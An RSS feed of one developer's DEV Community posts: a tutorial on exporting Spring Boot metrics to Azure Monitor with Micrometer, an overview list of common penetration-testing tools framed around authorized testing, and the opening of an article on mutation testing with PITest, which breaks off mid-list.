<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Silvio Buss</title>
    <description>The latest articles on DEV Community by Silvio Buss (@silviobuss).</description>
    <link>https://dev.to/silviobuss</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F177908%2Fd0a90ee3-56fa-4cf6-b30f-f745a115e58d.jpg</url>
      <title>DEV Community: Silvio Buss</title>
      <link>https://dev.to/silviobuss</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/silviobuss"/>
    <language>en</language>
    <item>
      <title>Publishing Application Metrics to Azure Monitor Using Spring Boot 2 and Micrometer</title>
      <dc:creator>Silvio Buss</dc:creator>
      <pubDate>Mon, 16 Mar 2020 16:46:06 +0000</pubDate>
      <link>https://dev.to/silviobuss/publishing-application-metrics-to-azure-monitor-using-micrometer-plk</link>
      <guid>https://dev.to/silviobuss/publishing-application-metrics-to-azure-monitor-using-micrometer-plk</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Observability is the activities that involve measuring, collecting, and analyzing various diagnostics signals from a system. These signals may include metrics, traces, logs, events, profiles and more.&lt;/p&gt;

&lt;p&gt;Especially in a DevOps culture, where automation is key in order to stay productive, observability plays an important role. Your team should define alarms based on relevant system metrics to ensure that service level objectives are met. However, most modern applications are very complex distributed systems and it is hard to measure everything.&lt;/p&gt;

&lt;p&gt;Luckily if you are using a managed platform many metrics will be collected for you automatically. Many cloud platforms like AWS, Azure and Google Cloud already collects metrics of your load balancers, application containers, applications requests, databases, and so on. What the cloud providers cannot offer, however, are application specific metrics, because they depend on your application logic.&lt;/p&gt;

&lt;p&gt;Micrometer provides a simple facade for the JVM for a number of popular monitoring systems to collect application specific metrics. Currently, it supports the following monitoring systems: Azure Monitor, Netflix Atlas, CloudWatch, Datadog, Dynatrace, New Relic, Prometheus, And many other providers. Check this &lt;a href="https://micrometer.io/docs/concepts#_supported_monitoring_systems" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; for all available.&lt;/p&gt;

&lt;h2&gt;
  
  
  Micrometer
&lt;/h2&gt;

&lt;h3&gt;
  
  
  MeterRegistry
&lt;/h3&gt;

&lt;p&gt;A meter is an abstraction for a set of measurements about your application. A meter is uniquely identified by its name and tags. A meter registry holds meters. In Micrometer, a MeterRegistry is the core component used for registering meters.&lt;/p&gt;

&lt;p&gt;The simplest form of the registry is SimpleMeterRegistry. But in most cases, we should use a MeterRegistry explicitly designed for our monitoring system; for Azure Monitor (AzureMonitorMeterRegistry), Prometheus (PrometheusMeterRegistry), Atlas (AtlasMeterRegistry).&lt;/p&gt;

&lt;p&gt;In this article, we'll introduce the basic usage of Micrometer and its integration with Spring boot 2.&lt;/p&gt;

&lt;h3&gt;
  
  
  Basic Meters
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Counter
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F1kc6svulsv0srviqq955.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F1kc6svulsv0srviqq955.PNG" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Counters report a single metric, a count. The Counter allows you to increment by a fixed amount, which must be positive. &lt;/p&gt;

&lt;p&gt;When building graphs and alerts off of counters, generally you should be most interested in measuring the rate at which some event is occurring over a given time interval. Consider a simple queue. Counters could be used to measure things like the rate at which items are being inserted and removed.&lt;/p&gt;

&lt;h4&gt;
  
  
  Gauge
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fzcfeuskmz8lg6kk16o4d.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fzcfeuskmz8lg6kk16o4d.PNG" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
Gauges are used to report a numeric state at a certain time. In contrast to a counter which you can increment, a gauge watches the state of an object and reports the current state whenever the metric is exported. A common example is the number of messages in a queue, or the number of connections in your connection pool.&lt;/p&gt;
&lt;h4&gt;
  
  
  Other metrics
&lt;/h4&gt;

&lt;p&gt;Timer, Long Task Timer, Function-tracking counters, Function-tracking timers. I recommend read this article of &lt;a href="https://dev.to/frosnerd/publishing-application-metrics-to-cloudwatch-using-micrometer-343f"&gt;Rosner&lt;/a&gt; and the &lt;a href="https://micrometer.io/docs/concepts" rel="noopener noreferrer"&gt;official documentation&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Azure Application Insights with Spring Boot 2 using Micrometer Registry Azure
&lt;/h2&gt;

&lt;p&gt;This section explains how to use the Micrometer Azure registry in order to export your metrics to Azure Monitor.&lt;/p&gt;
&lt;h3&gt;
  
  
  Set up Azure Application Insights
&lt;/h3&gt;

&lt;p&gt;First, we need to create an &lt;a href="https://docs.microsoft.com/en-us/azure/azure-monitor/app/create-new-resource" rel="noopener noreferrer"&gt;Application Insights Resource&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Access the azure Portal and create the resource.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2tw64g9jl8y2pjooddik.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2tw64g9jl8y2pjooddik.PNG" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next step is define the subscription and Instance Details.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fr4umzshb9simqdf12vyu.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fr4umzshb9simqdf12vyu.PNG" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Access the resource created and get the Instrumentation Key.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fnie22xq1rbttaq73wlvk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fnie22xq1rbttaq73wlvk.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Configuring your Spring boot 2 project
&lt;/h3&gt;

&lt;p&gt;Add Azure dependencies in your Project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;        &lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;com.microsoft.azure&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;applicationinsights-spring-boot-starter&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;2.5.1&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;com.microsoft.azure&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;azure-spring-boot-metrics-starter&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;2.2.0&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Currently, Microsoft provides a Spring Boot Starter for automatically configuring Azure Application Insights: &lt;code&gt;applicationinsights-spring-boot-starter&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Note that Microsoft also provide a &lt;code&gt;azure-spring-boot-metrics-starter&lt;/code&gt;, for adds Micrometer monitoring support on top of the previous starter. Its current version, at the time of this writing, uses a different configuration key than &lt;code&gt;applicationinsights-spring-boot-starter&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;
  
  
  Add instrumentation key
&lt;/h4&gt;

&lt;p&gt;Update &lt;code&gt;application.properties&lt;/code&gt; file and use the same instrumentation key in both properties:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;management.metrics.export.azuremonitor.instrumentation-key=XXXXXXXXXX
azure.application-insights.instrumentation-key=XXXXXXXXXX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Add custom Micrometer metric
&lt;/h4&gt;

&lt;p&gt;This is a example using a counter:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fdpv2fbwrn55j7n27sdy3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fdpv2fbwrn55j7n27sdy3.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The example project below is a simple User CRUD with HTTP Operations, the custom metric in this scenario is the number of users created who reported the phone.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/silviobuss" rel="noopener noreferrer"&gt;
        silviobuss
      &lt;/a&gt; / &lt;a href="https://github.com/silviobuss/spring-boot-micrometer-azure" rel="noopener noreferrer"&gt;
        spring-boot-micrometer-azure
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Azure Application Insights with Spring Boot 2 using Micrometer Registry Azure&lt;/h1&gt;

&lt;/div&gt;

&lt;p&gt;You can see more about this case in &lt;a href="https://dev.to/silviobuss/publishing-application-metrics-to-azure-monitor-using-micrometer-plk" rel="nofollow"&gt;https://dev.to/silviobuss/publishing-application-metrics-to-azure-monitor-using-micrometer-plk&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This project uses a database, if you already have mysql installed on the machine,
you can use it by changing the settings in the &lt;code&gt;application.properties&lt;/code&gt; file.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Start Mysql with Docker (OPTIONAL)&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;To initialize a docker container with mysql, use the command below:&lt;/p&gt;
&lt;p&gt;docker run --name mysql57 -p 3306: 3306 -e MYSQL_ROOT_PASSWORD = root -e MYSQL_USER = user -e MYSQL_PASSWORD = user1234 -e MYSQL_DATABASE = demo_app -d mysql / mysql-server: 5.7&lt;/p&gt;
&lt;p&gt;If you want to access the container to make any query:&lt;/p&gt;
&lt;p&gt;docker exec -it mysql57 bash&lt;/p&gt;
&lt;p&gt;and login to the mysql instance:&lt;/p&gt;
&lt;p&gt;mysql -h localhost -u root -p&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Getting Started&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;Just update the database properties in &lt;code&gt;application.properties&lt;/code&gt; and run the DemoApplication.java in your IDE.&lt;/p&gt;
&lt;/div&gt;



&lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/silviobuss/spring-boot-micrometer-azure" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;To generate the custom metric, just perform a POST request to endpoint &lt;a href="http://localhost:8080/users" rel="noopener noreferrer"&gt;http://localhost:8080/users&lt;/a&gt; with the JSON below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fe04prn834l13ehiutdn5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fe04prn834l13ehiutdn5.PNG" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Testing Azure Application Insights
&lt;/h2&gt;

&lt;p&gt;Note that it is not necessary that your application is hosted on azure to have access to Application Insights and the monitor.&lt;/p&gt;

&lt;p&gt;If everything is set up correctly, in the "Live Metrics Stream", you should see those scenarios running:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fzt3tilfsn3h1jvcrzruz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fzt3tilfsn3h1jvcrzruz.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see our custom metric in "Metrics":&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fprlwrgnq97t2o5pwhzx3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fprlwrgnq97t2o5pwhzx3.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this post we have seen how Micrometer works as a flexible layer of abstraction between your code and the monitoring systems. We can seen how its works and how is possible to monitoring a Java app implemented in Spring Boot 2 with Micrometer Azure layer.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/silvio_buss" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fres.cloudinary.com%2Fpracticaldev%2Fimage%2Ffetch%2Fs--cMkfg_Vv--%2Fc_limit%252Cf_auto%252Cfl_progressive%252Cq_auto%252Cw_880%2Fhttps%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fgmrz82bjwhej1f1iqb1e.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;p&gt;Microsoft. &lt;a href="https://docs.microsoft.com/en-us/azure/azure-monitor/app/micrometer-java" rel="noopener noreferrer"&gt;https://docs.microsoft.com/en-us/azure/azure-monitor/app/micrometer-java&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Frank Rosner. &lt;a href="https://dev.to/frosnerd/publishing-application-metrics-to-cloudwatch-using-micrometer-343f"&gt;https://dev.to/frosnerd/publishing-application-metrics-to-cloudwatch-using-micrometer-343f&lt;/a&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>azure</category>
      <category>java</category>
      <category>springboot</category>
    </item>
    <item>
      <title>10 Useful Tools to Exploit Your Security</title>
      <dc:creator>Silvio Buss</dc:creator>
      <pubDate>Sun, 21 Jul 2019 02:45:48 +0000</pubDate>
      <link>https://dev.to/silviobuss/10-best-cybersecurity-penetration-testing-tools-in-2019-5e25</link>
      <guid>https://dev.to/silviobuss/10-best-cybersecurity-penetration-testing-tools-in-2019-5e25</guid>
      <description>&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ferd8ly7652pu80c065v2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ferd8ly7652pu80c065v2.png" alt="pentest"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Penetration testing (a.k.a pen testing) is the practice of launching &lt;strong&gt;authorized&lt;/strong&gt; and simulated attacks against computer systems and their physical infrastructure to expose potential security weaknesses and vulnerabilities.&lt;/p&gt;

&lt;p&gt;A penetration test is designed to answer the question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How effective is my current security against a skilled attacker?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here are some of the best tools for carrying out pen testing exercises. We can find most of the listed tools here for free, while others will the main functions in entry free version and require license payments to use all features.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. &lt;a href="https://www.kali.org/" rel="noopener noreferrer"&gt;Kali linux&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Kali Linux is an open-source distribution based on Debian focused on providing penetration testing and security auditing tools.&lt;/p&gt;

&lt;p&gt;Most of the tools mentioned in this post are present in Kali. It includes numerous tools for information gathering, vulnerability analysis, wireless attacks, web applications, exploitation tools, stress testing, sniffing and spoofing, password cracking and much more.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpbd68vqyf9btyztzbuz.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpbd68vqyf9btyztzbuz.PNG" alt="kali"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  2. &lt;a href="https://www.wireshark.org/" rel="noopener noreferrer"&gt;Wireshark&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;It is a network monitoring tool. Wireshark collects and shows information on all network traffic and detailed providing information on IP addresses, protocols, requests, packages, etc. &lt;/p&gt;

&lt;h2&gt;
  
  
  3. &lt;a href="http://sqlmap.org/" rel="noopener noreferrer"&gt;Sqlmap&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Sqlmap is one of the most powerful tools for automated SQL injection, it has full support to many databases, such as Mysql, SQL Server, Oracle, etc.&lt;/p&gt;

&lt;p&gt;In this tutorial, I explained step by step how to use this tool. &lt;/p&gt;


&lt;div class="ltag__link"&gt;
  &lt;a href="/silviobuss" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__pic"&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F177908%2Fd0a90ee3-56fa-4cf6-b30f-f745a115e58d.jpg" alt="silviobuss"&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="/silviobuss/are-you-vulnerable-to-a-sql-injection-attack-exploiting-with-sqlmap-4087" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;Are you vulnerable to a SQL injection attack? Exploiting with Sqlmap&lt;/h2&gt;
      &lt;h3&gt;Silvio Buss ・ Jun 30 '19&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
        &lt;span class="ltag__link__tag"&gt;#sql&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#security&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#programming&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#sqlmap&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  4. &lt;a href="https://portswigger.net/burp" rel="noopener noreferrer"&gt;Burp Suite&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Burpsuite can be used to intercept traffic between a web browser and the web server, such as a proxy. Works fine with Sqlmap, you can export the request to Sqlmap and, for example, exploit a SQL injection of HTTP POST request easily.&lt;/p&gt;

&lt;p&gt;However, it is more than just a proxy. Burpsuite can be used as a web application security scanner, a tool to perform automated attacks against a web application, a tool to spider an entire website to identify attack surface, among other features. &lt;/p&gt;

&lt;h2&gt;
  
  
  5. &lt;a href="https://github.com/rapid7/metasploit-framework" rel="noopener noreferrer"&gt;Metasploit Community&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;It is an open-source tool developed together with &lt;a href="https://metasploit.com/" rel="noopener noreferrer"&gt;Rapid7&lt;/a&gt;. It is a very popular collection of various penetration tools, including discovering vulnerabilities, managing security evaluations, and formulating defense methodologies. &lt;/p&gt;

&lt;h2&gt;
  
  
  6. &lt;a href="https://nmap.org/" rel="noopener noreferrer"&gt;Nmap&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;It is a tool for scanning your systems or networks for vulnerabilities. It can be used for security scans, simply to identify what services a host is running, the type of firewall a host is using, or to do a quick inventory of a local network. &lt;/p&gt;

&lt;h2&gt;
  
  
  7. &lt;a href="https://www.aircrack-ng.org/" rel="noopener noreferrer"&gt;Aircrack-ng&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Aircrack-ng is a comprehensive collection of utilities for analyzing the weaknesses in a WiFi network using various monitoring, attacking, testing and cracking methods.&lt;/p&gt;

&lt;p&gt;Moreover, if you want to assess the reliability of your WEP and WPA-PSK keys, you can crack them using this tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  8. &lt;a href="https://www.tenable.com/products/nessus/" rel="noopener noreferrer"&gt;Nessus&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This tool is a vulnerability scanner that allows pen testers to audit their networks by scanning ranges of Internet Protocol (IP) addresses and identifying vulnerabilities with a series of plug-ins. Some of the vulnerabilities it identifies include misconfiguration errors, improper passwords, and open ports.&lt;/p&gt;

&lt;h2&gt;
  
  
  9. &lt;a href="http://www.openvas.org/" rel="noopener noreferrer"&gt;Openvas&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;OpenVAS is a fork of Nessus, but its feeds are completely free and licensed under GPL. This tool allows you to write and integrate your own security plugins to the OpenVAS platform, even though the current engine comes with more than 50.000 network vulnerability tests that can scan many unthinkable scenarios.&lt;/p&gt;

&lt;h2&gt;
  
  
  10. &lt;a href="https://www.openwall.com/john/" rel="noopener noreferrer"&gt;John the Ripper&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;It is one of the most popular password cracking tool that combines several different cracking programs and runs in both brute force and dictionary attack modes. It can run a wide variety of password-cracking techniques against the various user accounts on each operating system and can be scripted to run locally or remotely.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;A penetration test is vital for any company or organization that takes security seriously. If a penetration tester manages to compromise your application or network, then a real hacker can too. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/silvio_buss" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fres.cloudinary.com%2Fpracticaldev%2Fimage%2Ffetch%2Fs--cMkfg_Vv--%2Fc_limit%252Cf_auto%252Cfl_progressive%252Cq_auto%252Cw_880%2Fhttps%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fgmrz82bjwhej1f1iqb1e.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>pentest</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Increase the quality of unit tests using mutation with PITest</title>
      <dc:creator>Silvio Buss</dc:creator>
      <pubDate>Tue, 16 Jul 2019 13:30:26 +0000</pubDate>
      <link>https://dev.to/silviobuss/increase-the-quality-of-unit-tests-using-mutation-with-pitest-3b27</link>
      <guid>https://dev.to/silviobuss/increase-the-quality-of-unit-tests-using-mutation-with-pitest-3b27</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Code coverage is the most common metric to measure code quality, but it does not guarantee that tests are testing the expected behavior.  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"...100% code coverage score only means that all lines were exercised at least once, but it says nothing about tests accuracy or use-cases completeness, and that’s why mutation testing matters". (Baeldung, 2018)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The idea of mutation testing is to modify the covered code in a simple way, checking whether the existing test set for this code will detect and reject the modifications.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Good tests should fail when your service rules are changed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Each change in the code is called a mutant, and it results in an altered version of the program, called a &lt;strong&gt;mutation&lt;/strong&gt;. Some types of mutation are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Change conditionals Boundary Mutator.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Original conditional&lt;/th&gt;
&lt;th&gt;Mutated conditional&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;&lt;/td&gt;
&lt;td&gt;&amp;lt;=&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;=&lt;/td&gt;
&lt;td&gt;&amp;lt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt;&lt;/td&gt;
&lt;td&gt;&amp;gt;=&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt;=&lt;/td&gt;
&lt;td&gt;&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Change mathematical operators.&lt;/li&gt;
&lt;li&gt;Return null instead of Object value.&lt;/li&gt;
&lt;li&gt;And many other types. Check &lt;a href="http://pitest.org/quickstart/mutators/" rel="noopener noreferrer"&gt;this documentation&lt;/a&gt; for all available.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mutations usually react as follows:&lt;/p&gt;

&lt;ul&gt;
